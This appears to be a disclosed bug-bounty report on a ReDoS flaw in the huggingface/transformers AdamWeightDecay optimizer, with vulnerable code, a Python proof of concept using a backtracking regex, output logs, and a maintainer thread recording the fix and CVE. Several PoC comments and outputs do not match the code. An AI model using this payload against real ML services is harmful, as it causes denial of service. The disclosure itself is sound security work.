

Regular Expression Denial of Service (ReDoS) in AdamWeightDecay Optimizer in [huggingface/transformers](#)

✓ Valid

Reported on Jun 18th 2025

The AdamWeightDecay optimizer is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker can control the patterns in the `include_in_weight_decay` or `exclude_from_weight_decay` lists, they can provide a malicious regular expression that causes catastrophic backtracking. When the optimizer processes a model parameter with a matching name, the `re.search` call will hang, consuming 100% of a CPU core and effectively causing a denial of service.

[Vulnerable Code] The vulnerability exists in the `_do_use_weight_decay` method of the AdamWeightDecay class. This method iterates through user-provided regex patterns and uses `re.search` to match them against parameter names.

The call to `re.search(r, param_name)` is not protected against malicious regular expressions that can lead to exponential matching times.

```
# In AdamWeightDecay class
def _do_use_weight_decay(self, param_name):
    """Whether to use L2 weight decay for `param_name`."""
    if self.weight_decay_rate == 0:
        return False

    if self._include_in_weight_decay:
        for r in self._include_in_weight_decay:
            # VULNERABLE LINE: A malicious regex 'r' can cause re.search to hang
            # when evaluated against 'param_name'.
            if re.search(r, param_name) is not None:
                return True

    if self._exclude_from_weight_decay:
        for r in self._exclude_from_weight_decay:
            # VULNERABLE LINE: This is also vulnerable under a different logic path
            if re.search(r, param_name) is not None:
                return False
    return True
```

The `create_optimizer` function acts as the entry point for passing these malicious patterns into the optimizer.

```
def create_optimizer(
    # ...
    include_in_weight_decay: Optional[list[str]] = None,
):
    # ...
    if weight_decay_rate > 0.0:
        optimizer = AdamWeightDecay(
            # ...
            # The user-controlled list is passed to the optimizer here.
            include_in_weight_decay=include_in_weight_decay,
        )
    # ...
    return optimizer, lr_schedule
```

Clear PoC to Reproduce Vulnerability To reproduce the vulnerability, we will define a malicious regex pattern designed to cause catastrophic backtracking. We will then call the `create_optimizer` function with this pattern and simulate applying gradients to a variable with a name that triggers the ReDoS condition.

Step 1: Create a Python script (`poc_redos.py`)

This script will set up the optimizer with a malicious regex and then attempt to apply gradients to a variable, which will trigger the vulnerable `_do_use_weight_decay` method.

```
# poc_redos.py
import tensorflow as tf
import time
import re # re is used by the vulnerable code

# Assume the provided optimizer code is in a file named hf_optimizer.py
from hf_optimizer import create_optimizer, AdamWeightDecay

print("TensorFlow Version:", tf.__version__)

def run_poc():
    # 1. Define a malicious regex pattern and a string to match against.
    # This pattern causes catastrophic backtracking. The 'a's followed by a 'b'
    # at the end forces the regex engine into an exponential number of paths.
    malicious_regex = "a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?"
    # A parameter name that will trigger the ReDoS. It has many 'a's but no 'b'.
    param_name_to_match = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

    print(f"[*] Malicious Regex: '{malicious_regex}'")
    print(f"[*] Parameter Name: '{param_name_to_match}'")
    print("[*] This PoC will now hang while re.search is called inside the optimizer")
    print("[*] You should observe one CPU core at 100% utilization.")

    # 2. Create the optimizer with the malicious regex pattern.
    optimizer, _ = create_optimizer(
        init_lr=1e-4,
        num_train_steps=100,
        num_warmup_steps=10,
        weight_decay_rate=0.01,
```

```

        include_in_weight_decay=[malicious_regex] # Injecting the malicious pattern
    )

    # 3. Simulate a model variable and a gradient.
    # The variable name is what triggers the vulnerability.
    model_variable = tf.Variable([1.0, 2.0], name=param_name_to_match)
    gradient = tf.constant([0.1, 0.1])

    # 4. Trigger the vulnerable method by applying gradients.
    # The optimizer's `apply_gradients` method will internally call
    # `do_use_weight_decay` for each variable, triggering the ReDoS.
    try:
        start_time = time.time()
        optimizer.apply_gradients(zip([gradient], [model_variable]))
        end_time = time.time()
        print(f"[+] PoC finished in {end_time - start_time:.2f} seconds. The code i
    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")

if __name__ == "__main__":
    run_poc()

```

Step 2 : Create the hf_optimizer.py file Copy and paste the entire code block provided in the user prompt into a file named hf_optimizer.py in the same directory.

```

ls -l
total 24
-rw-r--r-- 1 root root 16770 Jun 18 20:48 hf_optimizer.py
-rw-r--r-- 1 root root 2131 Jun 18 20:49 poc_redos.py

```

```

TensorFlow Version: 2.16.1
[*] Malicious Regex: 'a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a'
[*] Parameter Name: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
[*] This PoC will now hang while re.search is called inside the optimizer...
[*] You should observe one CPU core at 100% utilization.

```

While the script is hanging, if you check your system's activity monitor (like top or htop on Linux, or Task Manager on Windows), you will see the Python process consuming 100% of one CPU core. You will need to manually terminate the script (e.g., with Ctrl+C).

Impact

In a real-world scenario, machine learning projects often allow users to specify configuration parameters, including optimizer settings like weight decay exclusions, through configuration files (e.g., JSON, YAML) or command-line arguments. An attacker could provide a malicious configuration to a training script or an inference API.

When the model and optimizer are built using this malicious configuration, the training or inference process will hang as soon as it tries to calculate the weight decay for a matching

parameter name. This ties up a full CPU core, halts the machine learning task, and can render a service (like a model training platform or an ML-powered API) unresponsive, preventing legitimate users from using it.

Occurrences

 optimization_tf.py L292-L306

 We are processing your report and will contact the **huggingface/transformers** team within 24 hours. 7 months ago



 **Michelle Habonneau** modified the Severity from Medium (6.2) to Medium (5.3) 7 months ago



Michelle Habonneau commented 7 months ago

Maintainer

Hi, Thank you for taking the time to report. We've applied a fix in <https://github.com/huggingface/transformers/pull/39013> and will resolve this report when it's been released in the next version. Validating this report.



A **huggingface/transformers** maintainer has acknowledged this report 7 months ago

 The scheduled publication date was automatically extended from 16th Sep 2025 to 23rd Sep 2025 due to the maintainers acknowledgement of the report 7 months ago

Tuan Hades commented 7 months ago

Researcher

Hi, is it okay if I disclose these findings now?



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Michelle Habonneau validated this vulnerability 7 months ago

\$ **joelindra** has been awarded the disclosure bounty 

\$ The fix bounty is now up for grabs



The researcher's credibility has increased: +7



CVE-2025-6921 assigned to this report. 7 months ago



Michelle Habonneau marked this as fixed in **4.53.0** with commit **47c34f** 7 months ago

\$ The fix bounty has been dropped 

Tuan Hades commented 5 months ago

Researcher

hello!

how to claim the cve ? the status on cve record still reserved

Tuan Hades commented 5 months ago

Researcher

Hi all,

Can you confirm ?

Tuan Hades commented 5 months ago

Researcher

hello ??

✉ We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up 5 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-6921

Published

Vulnerability Type

CWE-400: Denial of Service

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#) ↗

Registry

Pypi

Affected Version

4.52.4

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



Tuan Hades

@joelindra

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)